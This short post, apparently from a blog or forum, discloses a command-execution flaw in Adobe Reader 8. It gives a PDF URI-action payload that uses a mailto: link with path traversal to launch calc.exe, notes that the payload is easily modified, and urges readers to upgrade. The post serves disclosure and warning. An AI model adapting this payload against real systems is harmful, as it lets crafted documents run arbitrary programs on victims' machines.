Interesting "feature" of AcroRead

Acroread8 is vulnerable to a command execution, is possible at URI tag, to make a local path to the file you want to be executed.
get the exploit
This exploit executes the windows calculator, but it can be modified easily:

<</URI(mailto:test%../../../../../../../../windows/system32/calc.exe".cmd)/S/URI>>

Conclusion: don't trust in any file given from unknown people :)

I'm still vulnerable :) I have to upgrade, and people should too.
